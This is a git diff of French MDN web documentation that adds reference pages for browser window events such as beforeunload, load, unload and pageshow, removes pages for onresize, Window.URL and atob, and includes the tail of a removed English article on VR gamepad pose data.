-                0.0,
-                0.0,
-                -15.0
-             ]);
-}
- -

Here we alter the position of the cube on the screen according to the {{domxref("GamepadPose.position","position")}} and {{domxref("GamepadPose.orientation","orientation")}} data received from the connected controller. These values (stored in curPos and curOrient) are {{domxref("Float32Array")}}s containing the X, Y, and Z values (here we are just using [0] which is X, and [1] which is Y).

- -

If the gp variable has a Gamepad object inside it and it can return position values (gpPose.hasPosition), indicating a 6DoF controller, we modify the cube position using position and orientation values. If only the former is true, indicating a 3DoF controller, we modify the cube position using the orientation values only. If there is no gamepad connected, we don't modify the cube position at all.

- -

Displaying the gamepad pose data

- -

In the displayPoseStats() function, we grab all of the data we want to display out of the {{domxref("GamepadPose")}} object passed into it, then print them into the UI panel that exists in the demo for displaying such data:

- -
function displayPoseStats(pose) {
-  var pos = pose.position;
-  var orient = pose.orientation;
-  var linVel = pose.linearVelocity;
-  var linAcc = pose.linearAcceleration;
-  var angVel = pose.angularVelocity;
-  var angAcc = pose.angularAcceleration;
-
-  if(pose.hasPosition) {
-    posStats.textContent = 'Position: x ' + pos[0].toFixed(3) + ', y ' + pos[1].toFixed(3) + ', z ' + pos[2].toFixed(3);
-  } else {
-    posStats.textContent = 'Position not reported';
-  }
-
-  if(pose.hasOrientation) {
-    orientStats.textContent = 'Orientation: x ' + orient[0].toFixed(3) + ', y ' + orient[1].toFixed(3) + ', z ' + orient[2].toFixed(3);
-  } else {
-    orientStats.textContent = 'Orientation not reported';
-  }
-
-  linVelStats.textContent = 'Linear velocity: x ' + linVel[0].toFixed(3) + ', y ' + linVel[1].toFixed(3) + ', z ' + linVel[2].toFixed(3);
-  angVelStats.textContent = 'Angular velocity: x ' + angVel[0].toFixed(3) + ', y ' + angVel[1].toFixed(3) + ', z ' + angVel[2].toFixed(3);
-
-  if(linAcc) {
-    linAccStats.textContent = 'Linear acceleration: x ' + linAcc[0].toFixed(3) + ', y ' + linAcc[1].toFixed(3) + ', z ' + linAcc[2].toFixed(3);
-  } else {
-    linAccStats.textContent = 'Linear acceleration not reported';
-  }
-
-  if(angAcc) {
-    angAccStats.textContent = 'Angular acceleration: x ' + angAcc[0].toFixed(3) + ', y ' + angAcc[1].toFixed(3) + ', z ' + angAcc[2].toFixed(3);
-  } else {
-    angAccStats.textContent = 'Angular acceleration not reported';
-  }
-}
- -

Summary

- -

This article has given you a very basic idea of how to use the Gamepad Extensions to use VR controllers inside WebVR apps. In a real app you'd probably have a much more complex control system in effect, with controls assigned to the buttons on the VR controllers, and the display being affected by both the display pose and the controller poses simultaneously. Here however, we just wanted to isolate the pure Gamepad Extensions parts of that.

- -

See also

- - diff --git a/files/fr/web/api/window/afterprint_event/index.html b/files/fr/web/api/window/afterprint_event/index.html new file mode 100644 index 0000000000..bb62ef775d --- /dev/null +++ b/files/fr/web/api/window/afterprint_event/index.html @@ -0,0 +1,63 @@ +--- +title: afterprint +slug: Web/Events/afterprint +translation_of: Web/API/Window/afterprint_event +--- +

L'événement afterprint est déclenché après que le document associé a été imprimé ou que l'aperçu avant impression a été fermé.

+ +

Informations générales

+ +
+
Spécification
+
HTML5
+
Interface
+
Event
+
Propagation
+
Non
+
Annulable
+
Non
+
Cible
+
DefaultView (<window>)
+
Action par défaut
+
Aucune
+
+ +

Propriétés

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
+ +

Evénements liés

+ + diff --git a/files/fr/web/api/window/beforeprint_event/index.html b/files/fr/web/api/window/beforeprint_event/index.html new file mode 100644 index 0000000000..970bfb6580 --- /dev/null +++ b/files/fr/web/api/window/beforeprint_event/index.html @@ -0,0 +1,74 @@ +--- +title: beforeprint +slug: Web/Events/beforeprint +tags: + - Evènement + - Reference +translation_of: Web/API/Window/beforeprint_event +--- +

L'événement beforeprint est déclenché lorsque le document associé est sur le point d'être imprimé ou qu'un "aperçu avant impression" est lancé.

+ +

Informations générales

+ +
+
Spécification
+
HTML5
+
Interface
+
Event
+
Propagation
+
Non
+
Annulable
+
Non
+
Cible
+
DefaultView (<window>)
+
Action par défaut
+
Aucune
+
+ +

Exemples

+ +

En utilisant window.addEventListener() :

+ +
window.addEventListener("beforeprint", (evenement) => {
+  console.log("Before print");
+});
+ +

Propriétés

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
+ +

Evénements liés

+ + diff --git a/files/fr/web/api/window/beforeunload_event/index.html b/files/fr/web/api/window/beforeunload_event/index.html new file mode 100644 index 0000000000..c0b22cfb83 --- /dev/null +++ b/files/fr/web/api/window/beforeunload_event/index.html @@ -0,0 +1,139 @@ +--- +title: beforeunload +slug: Web/Events/beforeunload +translation_of: Web/API/Window/beforeunload_event +--- +

L'événement beforeunload est déclenché quand la fênetre, ou le document, et leurs resources sont sur le point d'être déchargés.

+ +

Lorsqu'une chaîne de caractères est assignée à la propriété returnValue de {{domxref("Event")}}, une boîte de dialogue apparaît demandant confirmation avant de quitter la page (voir exemple plus bas). Certains navigateurs affichent la valeur retournée, alors que d'autres affichent leur propre message. Si aucune valeur n'est fournie, l'événement est traité silencieusement.

+ +
+

Note : Afin d'éviter les "pop-ups" indésirables, les navigateurs peuvent ne pas afficher les alertes créées dans les gestionnaires beforeunload.

+
+ +
+

 Attacher un gestionnaire d'événement beforeunload à window ou à document empêche les navigateurs d'utiliser leur mémoire cache ; consulter Utilisation du cache de Firefox 1.5 ou WebKit's Page Cache (en anglais).

+
+ + + + + + + + + + + + + + + + + + + + +
PropagationNon
AnnulableOui
Object cibledefaultView
Interface{{domxref("Event")}}
+ +

Propriétés

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropriétéTypeDescription
target {{readOnlyInline}}{{domxref("EventTarget")}}La cible de l'événement (la plus haute cible dans l'arbre du DOM).
type {{readOnlyInline}}{{domxref("DOMString")}}Le type de l'événement.
bubbles {{readOnlyInline}}{{jsxref("Boolean")}}Est-ce que l'événement se propage ?
cancelable {{readOnlyInline}}{{jsxref("Boolean")}}Est-il possible d'annuler l'événement ?
returnValue{{domxref("DOMString")}}La valeur de retour de l'événement (le message à afficher à l'utlisateur)
+ +

Exemples

+ +
window.addEventListener("beforeunload", function (event) {
+  event.returnValue = "\o/";
+});
+
+// est équivalent à
+window.addEventListener("beforeunload", function (event) {
+  event.preventDefault();
+});
+ +

Les navigateurs basés sur WebKit ne suivent pas les spécifications pour la boîte de dialogue. Un exemple pratiquement compatible entre les navigateurs serait à peu près comme suit:

+ +
window.addEventListener("beforeunload", function (e) {
+  var confirmationMessage = "\o/";
+
+  e.returnValue = confirmationMessage;     // Gecko, Trident, Chrome 34+
+  return confirmationMessage;              // Gecko, WebKit, Chrome <34
+});
+ +

Notes

+ +

Quand l'événement retourne une valeur non nulle, l'utilisateur est invité à confirmer le déchargement de la page. Dans la plupart des navigateurs, la valeur de retour de l'événement est affiché dans une boîte de dialogue. Dans Firefox 4 et plus, la chaine de caractères retournée n'est pas affiché à l'utilisateur. A la place, Firefox affiche "Cette page demande de confirmer sa fermeture ; des données saisies pourraient ne pas être enregistrées". Voir {{bug("588292")}}.

+ +

Depuis le 25 Mai 2011, la spécification HTML5 indique ques les appels aux méthodes {{domxref("window.alert()")}}, {{domxref("window.confirm()")}} et {{domxref("window.prompt()")}} peuvent être ignorés durant l'événement. Voir specification HTML5 pour plus de détails.

+ +

Noter aussi que de nombreux navigateurs ignorent le résultat  de l'événement (il n'y a donc aucune demande de confirmation). Firefox a une préférence cachée dans about:config pour faire de même. Essentiellement, cela signifie que l'utilisateur confirme toujours silencieusement que le document peut être déchargé.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName("HTML WHATWG", "indices.html#event-beforeunload", "beforeunload")}}{{Spec2("HTML WHATWG")}}
{{SpecName("HTML5 W3C", "browsers.html#unloading-documents", "beforeunload")}}{{Spec2("HTML5 W3C")}}Première définition
+ +

Voir aussi

+ + diff --git a/files/fr/web/api/window/devicemotion_event/index.html b/files/fr/web/api/window/devicemotion_event/index.html new file mode 100644 index 0000000000..8d58d934f4 --- /dev/null +++ b/files/fr/web/api/window/devicemotion_event/index.html @@ -0,0 +1,97 @@ +--- +title: devicemotion +slug: FUEL/Window/devicemotion_event +translation_of: Web/API/Window/devicemotion_event +--- +

L'événement devicemotion est déclenché à intervalles réguliers et indique la quantité de force physique d'accélération que le périphérique reçoit à ce moment. Il fournit également des informations sur le taux de rotation, si disponible.

+ +

Informations générales

+ +
+
Spécification
+
DeviceOrientation Event
+
Interface
+
DeviceMotionEvent
+
Propagation
+
Non
+
Annulable
+
Non
+
Cible
+
DefaultView (window)
+
Action par défaut
+
Aucune
+
+ +

Propriétés

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target Lecture seule EventTargetThe event target (the topmost target in the DOM tree).
type Lecture seule DOMStringThe type of event.
bubbles Lecture seule BooleanWhether the event normally bubbles or not
cancelable Lecture seule BooleanWhether the event is cancellable or not?
acceleration Lecture seule DeviceAccelerationThe acceleration of the device. This value has taken into account the effect of gravity and removed it from the figures. This value may not exist if the hardware doesn't know how to remove gravity from the acceleration data.
accelerationIncludingGravity Lecture seule DeviceAccelerationThe acceleration of the device. This value includes the effect of gravity, and may be the only value available on devices that don't have a gyroscope to allow them to properly remove gravity from the data.
interval Lecture seule doubleThe interval, in milliseconds, at which the DeviceMotionEvent is fired. The next event will be fired in approximately this amount of time.
rotationRate Lecture seule DeviceRotationRateThe rates of rotation of the device about all three axes.
+ +

Exemple

+ +
function handleMotionEvent(event) {
+
+    var x = event.accelerationIncludingGravity.x;
+    var y = event.accelerationIncludingGravity.y;
+    var z = event.accelerationIncludingGravity.z;
+
+    // Faire quelque chose de génial.
+}
+
+window.addEventListener("devicemotion", handleMotionEvent, true);
+
+ +

Evénements liés

+ + diff --git a/files/fr/web/api/window/deviceorientation_event/index.html b/files/fr/web/api/window/deviceorientation_event/index.html new file mode 100644 index 0000000000..2bae31987e --- /dev/null +++ b/files/fr/web/api/window/deviceorientation_event/index.html @@ -0,0 +1,176 @@ +--- +title: deviceorientation +slug: FUEL/Window/deviceorientation +translation_of: Web/API/Window/deviceorientation_event +--- +

L'événement deviceorientation est déclenché lorsque de nouvelles données sont disponibles à partir d'un capteur d'orientation à propos de l'orientation actuelle du dispositif par rapport à la trame de coordonnées terrestres. Ces données sont recueillies à partir d'un magnétomètre à l'intérieur de l'appareil. Voir explications sur les données de mouvements et d'orientations pour plus de détails.

+ +

Informations générales

+ +
+
Spécification
+
DeviceOrientation Event
+
Interface
+
DeviceOrientationEvent
+
Propagation
+
Non
+
Annulable
+
Non
+
Cible
+
DefaultView (window)
+
Action par défaut
+
Aucune
+
+ +

Propriétés

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target Lecture seule EventTargetThe event target (the topmost target in the DOM tree).
type Lecture seule DOMStringThe type of event.
bubbles Lecture seule BooleanWhether the event normally bubbles or not
cancelable Lecture seule BooleanWhether the event is cancellable or not?
alpha Lecture seule double (float)The current orientation of the device around the Z axis; that is, how far the device is rotated around a line perpendicular to the device.
beta Lecture seule double (float)The current orientation of the device around the X axis; that is, how far the device is tipped forward or backward.
gamma Lecture seule double (float)The current orientation of the device around the Y axis; that is, how far the device is turned left or right.
absolute Lecture seule booleanThis value is true if the orientation is provided as a difference between the device coordinate frame and the Earth coordinate frame; if the device can't detect the Earth coordinate frame, this value is false.
+ +

Example

+ +
if (window.DeviceOrientationEvent) {
+    window.addEventListener("deviceorientation", function(event) {
+        // alpha: rotation around z-axis
+        var rotateDegrees = event.alpha;
+        // gamma: left to right
+        var leftToRight = event.gamma;
+        // beta: front back motion
+        var frontToBack = event.beta;
+
+        handleOrientationEvent(frontToBack, leftToRight, rotateDegrees);
+    }, true);
+}
+
+var handleOrientationEvent = function(frontToBack, leftToRight, rotateDegrees) {
+    // Faire quelque chose d'étonnant
+};
+
+ +

Compatibilités navigateur

+ +

Nous convertissons les données de compatibilité dans un format JSON. + Ce tableau de compatibilité utilise encore l'ancien format + car nous n'avons pas encore converti les données qu'il contient. + Vous pouvez nous aider en contribuant !
+ +
+ + +

+ +
+ + + + + + + + + + + + + + + + + + + +
NavigateurChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Support basique7.03.6[1]???
+
+ +
+ + + + + + + + + + + + + + + + + + + +
NavigateurAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Support basique3.03.6[1]Pas de support124.2
+
+ +

[1] Firefox 3.6, 4, et 5 a supporté mozOrientation contre l'événement standard DeviceOrientation.

+ +

Evénements lilés

+ + + +

Voir aussi

+ + diff --git a/files/fr/web/api/window/domcontentloaded_event/index.html b/files/fr/web/api/window/domcontentloaded_event/index.html new file mode 100644 index 0000000000..ce6a198e3e --- /dev/null +++ b/files/fr/web/api/window/domcontentloaded_event/index.html @@ -0,0 +1,84 @@ +--- +title: DOMContentLoaded +slug: Web/Events/DOMContentLoaded +translation_of: Web/API/Window/DOMContentLoaded_event +--- +
{{APIRef}}
+ +

L’évènement DOMContentLoaded est émis lorsque le document HTML initial a été complètement chargé et analysé, sans attendre que les feuilles de style, images et sous-documents aient terminé de charger.

+ + + + + + + + + + + + + + + + + + + + +
BouillonneOui
AnnulableOui (bien que spécifié comme évènement simple non annulable)
Interface{{domxref("Event")}}
Propriété de gestion de l’évènementAucune
+ +

La cible originale pour cet évènement est le {{domxref("Document")}} qui a terminé de charger. Vous pouvez observer cet évènement sur l’interface Window pour le gérer dans les phases de capture ou de bouillonnement. Pour plus de détails, veuillez consulter la page de l’évènement {{domxref("Document/DOMContentLoaded_event", "Document: DOMContent​Loaded event")}}.

+ +

L’évènement load, très différent, doit être utilisé uniquement pour détecter qu’une page est entièrement chargée. C’est une erreur répandue d’utiliser load là où DOMContentLoaded serait beaucoup plus approprié.

+ +
+

Note : Le JavaScript synchrone interromp l’analyse du DOM.

+
+ +
+

Note : Il existe également de nombreuses bibliothèques indépendantes à usage général qui offrent des méthodes multi-navigateur pour détecter quand le DOM est prêt.

+
+ +

Accélérer

+ +

Si vous voulez que le DOM soit analysé aussi rapidement que possible après que l’utilisateur ou l’utilisatrice a demandé la page, vous pouvez rendre votre JavaScript asynchrone et optimiser le chargement des feuilles de style. Ces dernières, sans optimisation, ralentissent le chargement de la page parce qu’elles sont chargées en parallèle, et « subtilisent » de la bande passante au document html principal.

+ +

Exemples

+ +

Utilisation basique

+ +
window.addEventListener("DOMContentLoaded", (event) => {
+    console.log("DOM entièrement chargé et analysé");
+  });
+
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationStatut
{{SpecName('HTML WHATWG', 'indices.html#event-domcontentloaded')}}{{Spec2('HTML WHATWG')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("api.Window.DOMContentLoaded_event")}}

+ +

Voir aussi

+ +
    +
  • Évènements associés : {{event("load")}}, {{event("readystatechange")}}, {{event("beforeunload")}}, {{event("unload")}}
    • +
  • Cet évènement sur les cibles {{domxref("Document")}} : {{domxref("Document/DOMContentLoaded_event", "Document: DOMContent​Loaded event")}}
    • +
diff --git a/files/fr/web/api/window/load_event/index.html b/files/fr/web/api/window/load_event/index.html new file mode 100644 index 0000000000..53672aa244 --- /dev/null +++ b/files/fr/web/api/window/load_event/index.html @@ -0,0 +1,92 @@ +--- +title: load +slug: Web/Events/load +tags: + - Event + - Window +translation_of: Web/API/Window/load_event +--- +

L’évènement load est émis lorsqu’une ressource et ses ressources dépendantes sont completement chargées.

+ +

Informations générales

+ +
+
Spécification
+
DOM L3
+
Interface
+
UIEvent
+
Bouillonne
+
Non
+
Annulable
+
Non
+
Cible
+
Document, Element
+
Action par défaut
+
Aucune.
+
+ +

Propriétés

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropriétéTypeDescription
targetEventTargetLa cible de l’évènement (la cible la plus haute dans l’arbre DOM)
typeDOMStringLe type de l’évènement
bubblesbooleanSi l’évènement bouillonne ou non
cancelablebooleanSi l’évènement est annulable ou non
viewWindowProxydocument.defaultView (la fenêtre du document)
detaillong (float)0.
+ +

Tous les évènements ci-dessus sont en lecture seule. Vous ne pouvez pas leur affecter de valeur.

+ +

Exemple

+ +
+
<script>
+  window.addEventListener("load", function(event) {
+    console.log("Toutes les ressources sont chargées !");
+  });
+</script>
+
+ +

Évènements liés

+ +
    +
  • {{event("DOMContentLoaded")}}
    • +
  • {{event("readystatechange")}}
    • +
  • {{event("load")}}
    • +
  • {{event("beforeunload")}}
    • +
  • {{event("unload")}}
    • +
diff --git a/files/fr/web/api/window/onresize/index.html b/files/fr/web/api/window/onresize/index.html deleted file mode 100644 index d2c0d6304f..0000000000 --- a/files/fr/web/api/window/onresize/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: window.onresize -slug: Web/API/Window/onresize -tags: - - API - - DOM - - Gestionnaires d'évènements - - Propriété - - évènements -translation_of: Web/API/GlobalEventHandlers/onresize ---- -

{{ ApiRef() }}

- -

La propriété GlobalEventHandlers.onresize contient un {{domxref("EventHandler")}} (gestionnaire d'évènements) qui survient quand un évènement {{event("resize")}} est reçu.

- -

Syntaxe

- -
window.onresize = funcRef;
-
- -

Paramètres

- -
    -
  • funcRef est une référence à une fonction.
    • -
- -

Exemple

- -
window.onresize = doFunc;
-
- -
<html>
-<head>
-
-<title>onresize test</title>
-
-</head>
-
-<body>
-<p>Resize the browser window to fire the resize event.</p>
-
-<p>Window height: <span id="height"></span></p>
-<p>Window width: <span id="width"></span></p>
-
-<script type="text/javascript">
-  var heightOutput = document.querySelector('#height');
-  var widthOutput = document.querySelector('#width');
-
-  function resize() {
-    heightOutput.textContent = window.innerHeight;
-    widthOutput.textContent = window.innerWidth;
-  }
-
-  window.onresize = resize;
-</script>
-</body>
-</html>
- -

Notes

- -

L’événement resize est déclenché après le redimensionnement de la fenêtre.

- -

Spécification

- - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName('HTML WHATWG','webappapis.html#handler-onresize','onresize')}}{{Spec2('HTML WHATWG')}} 
diff --git a/files/fr/web/api/window/pagehide_event/index.html b/files/fr/web/api/window/pagehide_event/index.html new file mode 100644 index 0000000000..8971ae1044 --- /dev/null +++ b/files/fr/web/api/window/pagehide_event/index.html @@ -0,0 +1,69 @@ +--- +title: pagehide +slug: Web/Events/pagehide +translation_of: Web/API/Window/pagehide_event +--- +

L’évènement pagehide est émis lorsqu’une entrée dans un historique de session est sur le point d’être quittée.

+ +

Informations générales

+ +
+
Spécification
+
HTML5
+
Interface
+
PageTransitionEvent
+
Bouillonne
+
Non
+
Annulable
+
Non
+
Cible
+
Document (dispatché sur Window)
+
Action par défaut
+
Aucune
+
+ +

Propriétés

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropriétéTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}La cible de l’évènement (la plus haute dans l’arbre DOM).
type {{readonlyInline}}{{domxref("DOMString")}}Le type d’évènement.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Si l’évènement bouillonne en temps normal ou non.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Si l’évènement est annulable ou non.
persisted {{readonlyInline}}{{jsxref("boolean")}}Si l’entrée est chargée depuis le cache ou non.
+ +

Évènements liés

+ + diff --git a/files/fr/web/api/window/pageshow_event/index.html b/files/fr/web/api/window/pageshow_event/index.html new file mode 100644 index 0000000000..ba9e55f03e --- /dev/null +++ b/files/fr/web/api/window/pageshow_event/index.html @@ -0,0 +1,132 @@ +--- +title: pageshow +slug: Web/Events/pageshow +translation_of: Web/API/Window/pageshow_event +--- +

L’évènement pageshow est émis lorsqu’une entrée dans un historique de session est atteinte (cela comprend les boutons précédent / suivant ainsi que l’affichage initial de la page après l’évènement onload).

+ +

Informations générales

+ +
+
Spécification
+
HTML5
+
Interface
+
PageTransitionEvent
+
Bouillonne
+
Non
+
Annulable
+
Non
+
Cible
+
Document (dispatché sur Window)
+
Action par défaut
+
Aucune
+
+ +

Propriétés

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropriétéTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}La cible de l’évènement (la plus haute dans l’arbre DOM).
type {{readonlyInline}}{{domxref("DOMString")}}Le type d’évènement.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Si l’évènement bouillonne en temps normal ou non.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Si l’évènement est annulable ou non.
persisted {{readonlyInline}}{{jsxref("boolean")}}Si l’entrée est chargée depuis le cache ou non.
+ +

Exemples

+ +

L’exemple suivant va afficher dans la console des informations sur l’évènement pageshow, qui est émis à l’utilisation des boutons précédent / suivant, et pas uniquement après onload :

+ +
window.addEventListener('pageshow', function(event) {
+    console.log('pageshow:');
+    console.log(event);
+});
+ +

Bien que ce ne soit pas la meilleure pratique, vous pouvez également ajouter l’évènement comme un attribut sur la balise <body>, de la même manière que onload :

+ +
<body onload="myonload()" onpageshow="mypageshowcode()">
+ +

Compatibilité des navigateurs

+ +

{{CompatibilityTable()}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari
Support de base{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.8")}}11{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FonctionnalitéAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Support de base{{CompatUnknown()}}{{CompatUnknown()}}{{CompatUnknown()}}{{CompatUnknown()}}{{CompatUnknown()}}
+
+ +

Évènements liés

+ + diff --git a/files/fr/web/api/window/unload_event/index.html b/files/fr/web/api/window/unload_event/index.html new file mode 100644 index 0000000000..676b6187e3 --- /dev/null +++ b/files/fr/web/api/window/unload_event/index.html @@ -0,0 +1,156 @@ +--- +title: unload +slug: Web/Events/unload +tags: + - JavaScript + - events +translation_of: Web/API/Window/unload_event +--- +


+ L'événement unload est appelé lorsque le document ou une ressource enfant est en train d'être déchargé.

+ +

Il est lancé après :

+ +
    +
  1. beforeunload (événement annulable)
    2. +
  2. pagehide
    3. +
+ +

Le document se trouve alors dans un état particulier :

+ +
    +
  • Toutes les ressources existent encore (img, iframe etc.)
    • +
  • Plus rien n'est encore visible par l'utilisateur final
    • +
  • Les intéractions avec l'interface sont désactivées (window.open, alert, confirm, etc.)
    • +
  • Aucune erreur ne viendra interrompre le flux de déchargement.
    • +
+ +

Veuiller noter que l'événement unload suit l'ordre du document : le cadre parent est déchargé avant le unload d'un cadre enfant (voir l'exemple ci-dessous).

+ + + + + + + + + + + + + + + + + + + + + + + + +
Événement propageableNon
AnnulableNon
Objets ciblesdefaultView, Document, Element
Interface{{domxref("UIEvent")}} si généré depuis un élément de l'interface utilisateur, {{domxref("Event")}}
Action par défautAucune
+ +

Propriétés

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropriétéTypeDescription
target {{readonlyInline}}EventTargetLa cible de l'événement (la cible de plus haut niveau dans le DOM).
type {{readonlyInline}}DOMStringLe type d'événement.
bubbles {{readonlyInline}}BooleanSi l'événement remonte ou non.
cancelable {{readonlyInline}}BooleanSi l'événement est annulable ou non.
view {{readonlyInline}}WindowProxydocument.defaultView (fenêtre du document)
detail {{readonlyInline}}long (float)0.
+ +

Exemple

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <title>Cadre parent</title>
+    <script>
+      window.addEventListener('beforeunload', function(event) {
+        console.log('Je suis le 1er.');
+      });
+      window.addEventListener('unload', function(event) {
+        console.log('Je suis le 3ème.');
+      });
+    </script>
+  </head>
+  <body>
+    <iframe src="child-frame.html"></iframe>
+  </body>
+</html>
+ +

Ci-dessous, le contenu de child-frame.html:

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <title>Cadre enfant</title>
+    <script>
+      window.addEventListener('beforeunload', function(event) {
+        console.log('Je suis le 2nd.');
+      });
+      window.addEventListener('unload', function(event) {
+        console.log('Je suis le 4ème et dernier…');
+      });
+    </script>
+  </head>
+  <body>
+      ☻
+  </body>
+</html>
+ +

Quand le cadre parent est déchargé, les événements sont lancés dans l'ordre décrit par les messages console.log.

+ +

Événements liés

+ +
    +
  • {{event("DOMContentLoaded")}}
    • +
  • {{event("readystatechange")}}
    • +
  • {{event("load")}}
    • +
  • {{event("beforeunload")}}
    • +
  • {{event("unload")}}
    • +
+ +

Spécifications

+ + diff --git a/files/fr/web/api/window/url/index.html b/files/fr/web/api/window/url/index.html deleted file mode 100644 index 223701977c..0000000000 --- a/files/fr/web/api/window/url/index.html +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: Window.URL -slug: Web/API/Window/URL -translation_of: Web/API/URL -translation_of_original: Web/API/Window/URL ---- -

{{ApiRef("Window")}}{{SeeCompatTable}}

- -

La propriété Window.URL retourne un objet qui fournit les méthodes statiques utilisées pour créer et gérer les objets URLs. On peut aussi l'appeler comme uns constructeur pour instancier des objets {{domxref("URL")}}.

- -

{{AvailableInWorkers}}

- -

Syntax

- -

Utilisation de la méthode statique:

- -
img.src = URL.{{domxref("URL.createObjectURL", "createObjectURL")}}(blob);
- -

Utilisation d'un objet instancié:

- -
var url = new {{domxref("URL.URL", "URL")}}("../cats/", "https://www.example.com/dogs/");
- -

Specification

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('URL', '#dom-url', 'URL')}}{{Spec2('URL')}}Initial definition
- -

Compatibilité des navigateurs

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support8.0[2]{{CompatGeckoDesktop("2.0")}}[1]
- {{CompatGeckoDesktop("19.0")}}		10.015.0[2]6.0[2]
- 7.0
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}[2]{{CompatGeckoMobile("14.0")}}[1]
- {{CompatGeckoMobile("19.0")}}		{{CompatVersionUnknown}}15.0[2]6.0[2]
-
- -

[1] From Gecko 2 (Firefox 4) to Gecko 18 included, Gecko returned an object with the non-standard nsIDOMMozURLProperty internal type. In practice, this didn't make any difference.

- -

[2] Implemented under the non-standard name webkitURL.

diff --git a/files/fr/web/api/windowbase64/atob/index.html b/files/fr/web/api/windowbase64/atob/index.html deleted file mode 100644 index b04c255040..0000000000 --- a/files/fr/web/api/windowbase64/atob/index.html +++ /dev/null @@ -1,132 +0,0 @@ ---- -title: window.atob -slug: Web/API/WindowBase64/atob -tags: - - API - - DOM - - Reference - - WindowOrWorkerGlobalScope - - atob -translation_of: Web/API/WindowOrWorkerGlobalScope/atob ---- -

{{APIRef ("HTML DOM")}}
- La fonction WindowOrWorkerGlobalScope.atob() décode une chaîne de données qui a été codée en utilisant le codage en base 64. Vous pouvez utiliser la méthode {{domxref("WindowOrWorkerGlobalScope.btoa","btoa()")}} pour encoder et transmettre des données qui pourraient causer des problèmes de communication, puis les transmettre et utiliser la méthode atob() pour décoder les données . Par exemple, vous pouvez coder, transmettre et décoder des caractères de contrôle tels que les valeurs ASCII 0 à 31.

- -

Pour une utilisation avec des chaînes Unicode ou UTF-8, voir cette note sur l'encodage et le décodage Base64 et cette note sur btoa().

- -

Syntaxe

- -
var donneesDecodees = scope.atob(donneesEncodees);
-
- -

Déclenche

- -

Déclenche une {{jsxref("DOMException")}} si la longueur de la chaîne passée en entrée n'est pas un multiple de 4.

- -

Exemple

- -
donneesEncodees = window.btoa('Salut, monde'); // encode une chaîne
-donneesDecodees = window.atob(donneesEncodees); // décode la chaîne
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName('HTML WHATWG', 'webappapis.html#dom-btoa', 'WindowOrWorkerGlobalScope.atob()')}}{{Spec2('HTML WHATWG')}}Méthode déplacée dans le mixin WindowOrWorkerGlobalScope dans la spéc la plus récente.
{{SpecName('HTML WHATWG', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}{{Spec2('HTML WHATWG')}}Pas de changement depuis l'instantané le plus récent {{SpecName("HTML5.1")}}.
{{SpecName('HTML5.1', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}{{Spec2('HTML5.1')}}Instantané de {{SpecName("HTML WHATWG")}}. Pas de changement.
{{SpecName("HTML5 W3C", "#dom-windowbase64-atob", "WindowBase64.atob()")}}{{Spec2('HTML5 W3C')}}Instantané de {{SpecName("HTML WHATWG")}}. Création de WindowBase64 (les propriétés se trouvaient sur la cible avant cela).
- -

Compatibilité des navigateurs

- -

{{CompatibilityTable}}

- - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Support de base{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(1)}}[1]
